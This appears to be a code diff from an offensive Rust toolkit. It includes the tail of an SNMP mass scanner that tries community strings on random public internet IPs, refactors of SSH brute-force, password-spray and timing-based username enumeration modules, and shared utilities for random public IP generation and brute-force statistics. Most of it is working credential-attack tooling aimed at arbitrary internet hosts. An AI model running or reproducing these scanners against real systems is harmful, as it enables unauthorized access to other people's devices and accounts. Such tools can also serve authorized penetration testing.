let output_file = prompt_default("Output result file", "snmp_mass_results.txt")?;
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
// Shared State
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
|
||||
|
||||
// Stats Reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} SNMP devices found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
let ip_addr = match ip_str.parse::<IpAddr>() {
|
||||
Ok(ip) => Some(ip),
|
||||
Err(_) => None
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Some(ip) = ip_addr {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for finish
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, u8, u64)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
_verbose: bool,
|
||||
) {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let (communities, version, timeout_secs) = &*creds;
|
||||
let timeout = Duration::from_secs(*timeout_secs);
|
||||
|
||||
for community in communities {
|
||||
match try_snmp_community(&addr, community, *version, timeout).await {
|
||||
Ok(true) => {
|
||||
let result_str = format!("{} -> community: '{}'", addr, community);
|
||||
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&output_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
|
||||
}
|
||||
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop on first valid community for this host
|
||||
}
|
||||
Ok(false) => {
|
||||
// Auth failure
|
||||
}
|
||||
Err(_) => {
|
||||
// Connection error
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+18
-24
@@ -17,7 +17,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_yes_no,
|
||||
prompt_existing_file, load_lines, get_filename_in_current_dir
|
||||
prompt_existing_file, load_lines, get_filename_in_current_dir, prompt_port
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
@@ -45,25 +45,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
|
||||
match input.parse() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Username wordlist").await?)
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
|
||||
Some(prompt_existing_file("Username wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Password wordlist").await?)
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
|
||||
Some(prompt_existing_file("Password wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
@@ -73,7 +67,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10").await?;
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
@@ -81,17 +75,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5").await?;
|
||||
let input = prompt_default("Connection timeout (seconds)", "5")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2").await?;
|
||||
let input = prompt_default("Max retries per attempt", "2")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
@@ -101,15 +95,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
@@ -365,7 +359,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
if prompt_yes_no("Save unknown responses to file?", true)? {
|
||||
let default_name = "ssh_unknown_responses.txt";
|
||||
let fname = prompt_default(
|
||||
&format!(
|
||||
@@ -373,7 +367,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
default_name
|
||||
),
|
||||
default_name,
|
||||
).await?;
|
||||
)?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::fs::File;
|
||||
match File::create(&filename) {
|
||||
+21
-25
@@ -19,7 +19,8 @@ use std::{
|
||||
},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use crate::utils::prompt_port;
|
||||
|
||||
use anyhow::Context;
|
||||
use tokio::{
|
||||
sync::Semaphore,
|
||||
@@ -246,8 +247,8 @@ pub async fn password_spray(
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
@@ -277,6 +278,7 @@ pub async fn password_spray(
|
||||
stats.record_attempt(false, true);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
@@ -319,28 +321,24 @@ fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -350,17 +348,15 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
@@ -388,7 +384,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
@@ -407,7 +403,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false).await? {
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
@@ -437,7 +433,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
@@ -453,7 +449,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
@@ -466,10 +462,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string()).await?
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string()).await?
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
@@ -479,8 +475,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt").await?;
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
+20
-25
@@ -14,7 +14,8 @@ use std::{
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
|
||||
use crate::utils::prompt_port;
|
||||
|
||||
use anyhow::Context;
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
@@ -183,30 +184,26 @@ pub async fn enumerate_users(
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
async fn prompt(message: &str) -> Result<String> {
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
@@ -216,17 +213,15 @@ async fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
}
|
||||
}
|
||||
|
||||
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
tokio::io::stdout()
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.await
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut input = String::new();
|
||||
tokio::io::BufReader::new(tokio::io::stdin())
|
||||
std::io::stdin()
|
||||
.read_line(&mut input)
|
||||
.await
|
||||
.context("Failed to read input")?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
@@ -253,16 +248,16 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = prompt_default("Samples per username", "3").await?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10").await?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3").await?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
let port: u16 = prompt_port("SSH Port", DEFAULT_SSH_PORT)?;
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false).await? {
|
||||
let file_path = prompt("Username file path").await?;
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
@@ -277,7 +272,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true).await? {
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
@@ -297,8 +292,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true).await? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt").await?;
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
+446
-406
File diff suppressed because it is too large
Load Diff
+13
-4
@@ -1,4 +1,4 @@
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
@@ -103,9 +103,12 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
});
|
||||
|
||||
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
|
||||
// Initialize state file
|
||||
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
|
||||
|
||||
// Random Mode
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
@@ -137,7 +140,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Loaded {} IPs from list", lines.len());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
@@ -156,7 +159,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
|
||||
// In a real hose, we just run until done.
|
||||
for _ in 0..CONCURRENCY {
|
||||
let _ = semaphore.acquire().await.unwrap();
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -185,6 +188,11 @@ fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
// Ensure state file exists before running grep
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Grep for "checked: <ip>" in state file
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
@@ -192,6 +200,7 @@ async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
pub mod camera;
|
||||
pub mod utils;
|
||||
@@ -0,0 +1,203 @@
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
use std::time::Instant;
|
||||
use colored::*;
|
||||
use tokio::sync::Mutex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
use tokio::fs::OpenOptions;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::process::Command;
|
||||
|
||||
|
||||
|
||||
/// Standard statistics tracking for bruteforce modules
|
||||
pub struct BruteforceStats {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
unique_errors: Mutex<HashMap<String, usize>>,
|
||||
}
|
||||
|
||||
impl BruteforceStats {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
unique_errors: Mutex::new(HashMap::new()),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
pub fn record_success(&self) {
|
||||
self.record_attempt(true, false);
|
||||
}
|
||||
|
||||
pub fn record_failure(&self) {
|
||||
self.record_attempt(false, false);
|
||||
}
|
||||
|
||||
pub fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
pub async fn record_error_detail(&self, msg: String) {
|
||||
let mut guard = self.unique_errors.lock().await;
|
||||
*guard.entry(msg).or_insert(0) += 1;
|
||||
}
|
||||
|
||||
pub async fn record_error(&self, msg: String) {
|
||||
// Increment error counter
|
||||
self.record_attempt(false, true);
|
||||
// Record detail
|
||||
self.record_error_detail(msg).await;
|
||||
}
|
||||
|
||||
pub fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
pub async fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
|
||||
let errors_guard = self.unique_errors.lock().await;
|
||||
if !errors_guard.is_empty() {
|
||||
println!("\n{}", "Top Errors:".bold());
|
||||
let mut sorted_errors: Vec<_> = errors_guard.iter().collect();
|
||||
sorted_errors.sort_by(|a, b| b.1.cmp(a.1));
|
||||
for (msg, count) in sorted_errors.into_iter().take(5) {
|
||||
println!(" - {}: {}", msg.yellow(), count);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
// Basic check first to avoid expensive loop
|
||||
if octets[0] == 10 || octets[0] == 127 || octets[0] == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn is_ip_checked(ip: &impl ToString, state_file: &str) -> bool {
|
||||
// Ensure state file exists before checking
|
||||
if !std::path::Path::new(state_file).exists() {
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.flush().await;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(state_file)
|
||||
.stderr(std::process::Stdio::null())
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn mark_ip_checked(ip: &impl ToString, state_file: &str) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(state_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in min_ranges {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
exclusion_subnets
|
||||
}
|
||||
@@ -1,105 +0,0 @@
|
